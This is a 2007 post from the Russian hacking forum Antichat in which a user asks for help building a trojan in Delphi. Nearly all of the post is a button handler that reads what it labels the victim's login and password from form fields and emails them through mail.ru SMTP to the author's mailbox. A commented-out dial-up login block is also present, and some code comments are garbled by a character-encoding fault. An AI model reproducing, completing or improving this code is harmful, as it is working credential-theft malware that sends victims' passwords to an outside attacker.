Форум АНТИЧАТ - Dial-up + Trojan + Delphi

Dial-up + Trojan + Delphi

02.05.2007, 07:03

Woldemar

Познающий

Регистрация: 09.06.2005

Сообщений: 72

Провел на форуме:
348081

Репутация: 20

Отправить сообщение для Woldemar с помощью ICQ

Dial-up + Trojan + Delphi

Доброго дня,

с кооперируемся и поможем мне

смотрите что есть :

PHP код:


		
			
procedure TForm2.btn1Click(Sender: TObject);

var

  msg: TIdMessage;

begin

  Memo1.Clear;

  if (cbb1.Text = '') or (edt1.Text = '') then

    Exit;

  btn1.Enabled:= False;

  btn2.Enabled:= False;

  IdSMTP1.UserId:= 'имя@mail.ru';

  IdSMTP1.Password:= 'пароль'; 

  IdSMTP1.Host:= 'smtp.mail.ru';

  IdSMTP1.AuthenticationType:= atLogin;

  msg:= TIdMessage.Create(IdSMTP1);

  msg.Subject:= 'Что то жертвы: ' + cbb1.Text;

  msg.Recipients.EMailAddresses:= 'кому@rambler.ru';

  msg.From.Address:= 'откого@mail.ru';

  Memo1.Lines.Add('|=====================|');

  Memo1.Lines.Add('     Чтото жертвы: ' + cbb1.Text);

  Memo1.Lines.Add('     Пароль Жертвы: ' + edt1.Text);

  memo1.Lines.Add('|=====================|');

  msg.Body.Text:= Memo1.Text;

{  dialup.login:= ;

  dialup.Password:= '';

  try

   dialup.Login(0);

  except

    Exit;

  end; }

  try

    IdSMTP1.Connect(); //Ñîåäèíåíèå

    IdSMTP1.Send(msg);  //Îòïðàâêà

    Exit;

  finally

    IdSMTP1.Disconnect;  //Îòêëþ÷åíèå

    btn1.Enabled:= False;

    btn2.Enabled:= False;

  end;

end;